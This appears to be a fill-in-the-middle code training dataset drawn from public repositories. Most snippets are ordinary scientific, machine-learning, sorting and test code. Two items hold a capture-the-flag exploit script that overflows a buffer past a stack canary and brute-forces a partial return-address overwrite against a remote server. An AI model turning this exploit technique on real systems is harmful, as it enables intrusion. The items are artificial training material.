#SEQ = [[... | code_fim | hard | {
"lang": "python",
"repo": "m-takeuchi/ilislife_wxp",
"path": "/sequence.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>[3600, DT],\
[3650, DT],\
[3700, DT],\
[3750, DT],\
[3800, DT],\
[3850, DT],\
[3900, DT],\
[3950, DT],\
[4000, 2*DT],\
[4050, 2*DT],\
[4100, 2*DT],\
[4150, 2*DT],\
[4200, 2*DT],\
[4250, 2*DT],\
... | code_fim | hard | {
"lang": "python",
"repo": "m-takeuchi/ilislife_wxp",
"path": "/sequence.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> client = client_for(Service(processes=[SpotChecker()]))
datainputs = "dataset_opendap=@xlink:href={0};test=CF-1.6".format(TESTDATA['test_opendap'])
resp = client.get(
service='WPS', request='Execute', version='1.0.0',
identifier='spotchecker',
datainputs=datainputs)
... | code_fim | medium | {
"lang": "python",
"repo": "bird-house/hummingbird",
"path": "/tests/test_wps_spotchecker.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: bird-house/hummingbird path: /tests/test_wps_spotchecker.py
import pytest
from pywps import Service
from pywps.tests import assert_response_success
from .common import TESTDATA, client_for
from hummingbird.processes.wps_spotchecker import SpotChecker
def test_wps_spotchecker_file():
<|fim_suff... | code_fim | hard | {
"lang": "python",
"repo": "bird-house/hummingbird",
"path": "/tests/test_wps_spotchecker.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>t match the query database\x1b[0m')
print('\33[35m * ({} <=> {})\x1b[0m'.format(config['uniref_name'],
config['params']['humann3']['diamond']['db']))
# diamond blastp
print('\33[36m * Annotating via "diamond blastp"\x1b[0m') ... | code_fim | hard | {
"lang": "python",
"repo": "tr11-sanger/Struo2",
"path": "/bin/db_update/humann3/Snakefile",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: tr11-sanger/Struo2 path: /bin/db_update/humann3/Snakefile
# input
if not skipped(config['databases']['genes']):
print('\33[36m * Using updated genes database\x1b[0m')
include: snake_dir + 'bin/db_update/humann3/input_from_genes/Snakefile'
else:
msg = '\33[35m X For user-provided gen... | code_fim | hard | {
"lang": "python",
"repo": "tr11-sanger/Struo2",
"path": "/bin/db_update/humann3/Snakefile",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: o0oBluePhoenixo0o/AbbVie2017 path: /FINAL/4. Topic Monitoring/4.1 Topic Detection/Assigned Topics(Twitter)_Chien.py
### Before running this script, please put this file into the data repository so as to run it.
import pandas as pd
import numpy as np
import os
import re
import csv
import sys
impo... | code_fim | hard | {
"lang": "python",
"repo": "o0oBluePhoenixo0o/AbbVie2017",
"path": "/FINAL/4. Topic Monitoring/4.1 Topic Detection/Assigned Topics(Twitter)_Chien.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>import datetime
import dateutil.relativedelta
def dateselect(day):
d = datetime.datetime.strptime(str(datetime.date.today()), "%Y-%m-%d")
d2 = d - dateutil.relativedelta.relativedelta(days=day)
df_time = df_postn['created_time']
df_time = pd.to_datetime(df_time)
mask = (df_time > d2) &... | code_fim | hard | {
"lang": "python",
"repo": "o0oBluePhoenixo0o/AbbVie2017",
"path": "/FINAL/4. Topic Monitoring/4.1 Topic Detection/Assigned Topics(Twitter)_Chien.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>### Open a csv file to save the results in
with open('twitter_topic_final.csv', 'w', encoding = 'UTF-8', newline = '') as csvfile:
column = [['id', 'key', 'created_time', 'message', 'topic_id', 'probability', 'topic']]
writer = csv.writer(csvfile)
writer.writerows(column)
for i in range(le... | code_fim | hard | {
"lang": "python",
"repo": "o0oBluePhoenixo0o/AbbVie2017",
"path": "/FINAL/4. Topic Monitoring/4.1 Topic Detection/Assigned Topics(Twitter)_Chien.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: yangkedc1984/Source_Codes_Collected path: /scikit-kinematics/skinematics/tests/test_sensor_xio.py
import sys
import os
myPath = os.path.dirname(os.path.abspath(__file__))
sys.path.insert(0, myPath + '/../')
sys.path.append('.')
<|fim_suffix|> self.assertAlmostEqual((rate - 256), 0)
... | code_fim | hard | {
"lang": "python",
"repo": "yangkedc1984/Source_Codes_Collected",
"path": "/scikit-kinematics/skinematics/tests/test_sensor_xio.py",
"mode": "psm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|>class TestSequenceFunctions(unittest.TestCase):
def test_import_xio(self):
# Get data, with a specified input from an XIO system
inFile = os.path.join(myPath, 'data', 'data_xio', '00033_CalIntertialAndMag.csv')
data = imus.import_data(inFile, type='xio', paramList=['rate',... | code_fim | medium | {
"lang": "python",
"repo": "yangkedc1984/Source_Codes_Collected",
"path": "/scikit-kinematics/skinematics/tests/test_sensor_xio.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|> self.conv1 = nn.Conv2d(
1,
self.inplanes,
kernel_size=7,
stride=2,
padding=3)
self.bn1 = self._norm_layer(self.inplanes)
self.relu = nn.ReLU()
self.maxpool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1)
... | code_fim | hard | {
"lang": "python",
"repo": "muzihuole/AudioClassification-Pytorch",
"path": "/resnet.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: muzihuole/AudioClassification-Pytorch path: /resnet.py
import torch
import torch.nn as nn
class BasicBlock(nn.Module):
expansion = 1
def __init__(self,
inplanes,
planes,
stride=1,
downsample=None,
grou... | code_fim | hard | {
"lang": "python",
"repo": "muzihuole/AudioClassification-Pytorch",
"path": "/resnet.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> self.put_with_status_check('/playbooks/test_playbook', headers=self.headers,
status_code=OBJECT_CREATED)
self.put_with_status_check('/playbooks/test_playbook/workflows/test_workflow',
headers=self.headers, status_code=OB... | code_fim | hard | {
"lang": "python",
"repo": "ratchet-stpup/WALKOFF",
"path": "/tests/test_triggers.py",
"mode": "spm",
"license": "CC0-1.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: ratchet-stpup/WALKOFF path: /tests/test_triggers.py
gger_name),
headers=self.headers, data=data, status_code=OBJECT_CREATED)
self.put_with_status_check('/execution/listener/triggers/{0}'.format(self.test_trigger_name),
... | code_fim | hard | {
"lang": "python",
"repo": "ratchet-stpup/WALKOFF",
"path": "/tests/test_triggers.py",
"mode": "psm",
"license": "CC0-1.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: ratchet-stpup/WALKOFF path: /tests/test_triggers.py
self.assertIn('triggers', response)
self.assertEqual(len(response['triggers']), 1)
self.assertEqual(response['triggers'][0]['name'], expected_json['name'])
self.assertEqual(response['triggers'][0]['workflow'], expected_js... | code_fim | hard | {
"lang": "python",
"repo": "ratchet-stpup/WALKOFF",
"path": "/tests/test_triggers.py",
"mode": "psm",
"license": "CC0-1.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>y.
for filename in os.listdir(os.getcwd()):
year = filename[:filename.find('.')]#get just year for dictionary lookup
#thankfully all of our data is in the 2000's so we can filter files like this
#we also want to ignore combined files if they have been made
if '2' in filename and 'combined' not in file... | code_fim | hard | {
"lang": "python",
"repo": "jkgiesler/global-warming-sentiment",
"path": "/modern happiness data/combine_gdp_happiness.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>.txt','wt')
print(header+'\t'+'GDP',file=file_out) #print out header with GDP added
for line in file_in:
line = line.rstrip()
rows = line.split('\t')
try:
rows.append(gdp_dict[year][rows[0]])#gets GDP from dict and tacks it on the last column
except:
rows.append('NA')#we don't have... | code_fim | hard | {
"lang": "python",
"repo": "jkgiesler/global-warming-sentiment",
"path": "/modern happiness data/combine_gdp_happiness.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: jkgiesler/global-warming-sentiment path: /modern happiness data/combine_gdp_happiness.py
import os
#make a dictionary of dictionaries so the outer dictionary will be all years
#the inner dictionary is then all countries. a query to the dictionary is
#formed like gdp_dict['2006']['Korea']
#this ... | code_fim | hard | {
"lang": "python",
"repo": "jkgiesler/global-warming-sentiment",
"path": "/modern happiness data/combine_gdp_happiness.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
# 冒泡
def sort3(data):
l = len(data)
for i in range(l):
for j in range(l - i - 1):
if data[j] > data[j + 1]:
data[j + 1], data[j] = data[j], data[j + 1]
return data
if __name__ == '__main__':
validatetool.validate(sort1)
validatetool.validate(sort2... | code_fim | hard | {
"lang": "python",
"repo": "jayzane/leetcodePy",
"path": "/sort/bubble_insert_select.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> l = len(data)
for i in range(l):
for j in range(l - i - 1):
if data[j] > data[j + 1]:
data[j + 1], data[j] = data[j], data[j + 1]
return data
if __name__ == '__main__':
validatetool.validate(sort1)
validatetool.validate(sort2)
validatetool.vali... | code_fim | hard | {
"lang": "python",
"repo": "jayzane/leetcodePy",
"path": "/sort/bubble_insert_select.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: jayzane/leetcodePy path: /sort/bubble_insert_select.py
"""
冒泡、插入、选择排序
2020-12-05: 20.03.59;11:04.33;06:18.13;12:15.51;03:52.58;03:07.01;
2020-12-06: 03:24.21;03:02.81;02:28.71;
"""
from sort import validatetool
# 选择
def sort1(data):
l = len(data)
for i in range(l):
index = i
... | code_fim | hard | {
"lang": "python",
"repo": "jayzane/leetcodePy",
"path": "/sort/bubble_insert_select.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> # Initialize and run CMFD test harness
harness = CMFDTestHarness('statepoint.20.h5', cmfd_run)
harness.main()<|fim_prefix|># repo: paulromano/openmc path: /tests/regression_tests/cmfd_feed_rolling_window/test.py
from tests.testing_harness import CMFDTestHarness
from openmc import cmfd
def t... | code_fim | hard | {
"lang": "python",
"repo": "paulromano/openmc",
"path": "/tests/regression_tests/cmfd_feed_rolling_window/test.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> # Initialize and run CMFDRun object
cmfd_run = cmfd.CMFDRun()
cmfd_run.mesh = cmfd_mesh
cmfd_run.tally_begin = 5
cmfd_run.solver_begin = 10
cmfd_run.feedback = True
cmfd_run.gauss_seidel_tolerance = [1.e-15, 1.e-20]
cmfd_run.window_type = 'rolling'
cmfd_run.window_size ... | code_fim | hard | {
"lang": "python",
"repo": "paulromano/openmc",
"path": "/tests/regression_tests/cmfd_feed_rolling_window/test.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: paulromano/openmc path: /tests/regression_tests/cmfd_feed_rolling_window/test.py
from tests.testing_harness import CMFDTestHarness
from openmc import cmfd
def test_cmfd_feed_rolling_window():
<|fim_suffix|> # Initialize and run CMFD test harness
harness = CMFDTestHarness('statepoint.20.h... | code_fim | hard | {
"lang": "python",
"repo": "paulromano/openmc",
"path": "/tests/regression_tests/cmfd_feed_rolling_window/test.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> print(fn)
print(f'total {len(sizes)} sizes\n')
t1 = time.time()
count = 0
with open(fn, 'w') as f:
for size in sizes:
torch.cuda.empty_cache()
x = torch.randn(*size[:-2], device=device, dtype=dtype)
t = run(lambda: torch.topk(x, k=size... | code_fim | hard | {
"lang": "python",
"repo": "xwang233/code-snippet",
"path": "/topk/a.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: xwang233/code-snippet path: /topk/a.py
import torch
from torch.testing import _compare_tensors_internal
import time
import random
def topKViaSort(x, k, dim):
val, idx = x.sort(dim, True)
return (val.narrow(dim, 0, k), idx.narrow(dim, 0, k))
def run(func, reps=100):
# warmup
for ... | code_fim | hard | {
"lang": "python",
"repo": "xwang233/code-snippet",
"path": "/topk/a.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> y1 = torch.topk(x, k=size[-2], dim=size[-1])
y2 = topKViaSort(x, k=size[-2], dim=size[-1])
# values should be exactly equal
a, b = _compare_tensors_internal(y1.values, y2[0], atol=0, rtol=0, equal_nan=False)
assert a, b
if not y1.in... | code_fim | hard | {
"lang": "python",
"repo": "xwang233/code-snippet",
"path": "/topk/a.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: pergolafabio/pyrisco path: /pyrisco/cloud/event.py
from pyrisco.common import GROUP_ID_TO_NAME
EVENT_IDS_TO_TYPES = {
3: "triggered",
9: "zone bypassed",
10: "zone unbypassed",
13: "armed",
16: "disarmed",
28: "power lost",
29: "power restored",
34: "media lost",
35: "media res... | code_fim | hard | {
"lang": "python",
"repo": "pergolafabio/pyrisco",
"path": "/pyrisco/cloud/event.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> @property
def partition_id(self):
partition_id = self.raw["partAssociationCSV"]
if partition_id is None:
return None
return int(partition_id)
@property
def time(self):
"""Time the event was fired."""
return self.raw["logTime"]
@property
def text(self):
"""Event... | code_fim | hard | {
"lang": "python",
"repo": "pergolafabio/pyrisco",
"path": "/pyrisco/cloud/event.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: SaronZhou/python path: /crmdsj/codes/类.py
int("Your dog is " + str(your_dog.age) + " years old.")
your_dog.roll_over()
# assignment9-1
class Restaurant():
def __init__(self, restaurant_name, cuisine_type):
self.name = restaurant_name
self.type = cuisine_type
def ... | code_fim | hard | {
"lang": "python",
"repo": "SaronZhou/python",
"path": "/crmdsj/codes/类.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> '''里程表读数增加指定的量'''
self.odometer_reading += miles
class ElectricCar(Car):
def __init__(self, make, model, year):
'''
电动汽车的独特之处
初始化父类的属性，再初始化电动汽车的特有属性
'''
# 注意继承父类的__init__方法时不用self形参
super().__init__(make, model, year)
... | code_fim | hard | {
"lang": "python",
"repo": "SaronZhou/python",
"path": "/crmdsj/codes/类.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: SaronZhou/python path: /crmdsj/codes/类.py
new_car.get_descriptive_name())
my_new_car.read_odometer()
# 修改属性的值
# 直接修改属性的值
my_new_car.odometer_reading = 23
my_new_car.read_odometer()
# 通过方法修改属性的值
class Car():
def __init__(self, make, model, year):
'''初始化描述汽车的属性'''
self.make = ... | code_fim | hard | {
"lang": "python",
"repo": "SaronZhou/python",
"path": "/crmdsj/codes/类.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: datajerk/ctf-write-ups path: /nahamconctf2020/ripe_reader/exploit2.py
#!/usr/bin/python3
from pwn import *
import sys
binary = ELF('ripe_reader')
context.log_level = 'WARN'
server = sys.argv[1]
port = int(sys.argv[2])
buf = b'./flag.txt\x00'
buf += (0x48 - 0x10 - len(buf)) * b'A'
#x = [i for ... | code_fim | hard | {
"lang": "python",
"repo": "datajerk/ctf-write-ups",
"path": "/nahamconctf2020/ripe_reader/exploit2.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>selectimg = binary.symbols['selectImg'] & 0xfff
for i in range(16):
p = remote(server,port)
p.recvuntil('[q] QUIT')
payload = buf + p64(canary) + p64(rbp) + p16(selectimg + i * 0x1000)
print(hex(selectimg + i * 0x1000))
p.send(payload)
try:
p.recvuntil('[q] QUIT')
p.close()
break
except:
c... | code_fim | hard | {
"lang": "python",
"repo": "datajerk/ctf-write-ups",
"path": "/nahamconctf2020/ripe_reader/exploit2.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: sassoftware/rbuild path: /rbuild_test/unit_test/uitest.py
))
h.ui.outStream.write._mock.assertCalled(('data1\n'))
h.ui._log._mock.assertCalled(('H1'))
h.ui._log._mock.assertCalled(('data1'))
# test basic table output with implicit headers
h.ui.writeTable(
... | code_fim | hard | {
"lang": "python",
"repo": "sassoftware/rbuild",
"path": "/rbuild_test/unit_test/uitest.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
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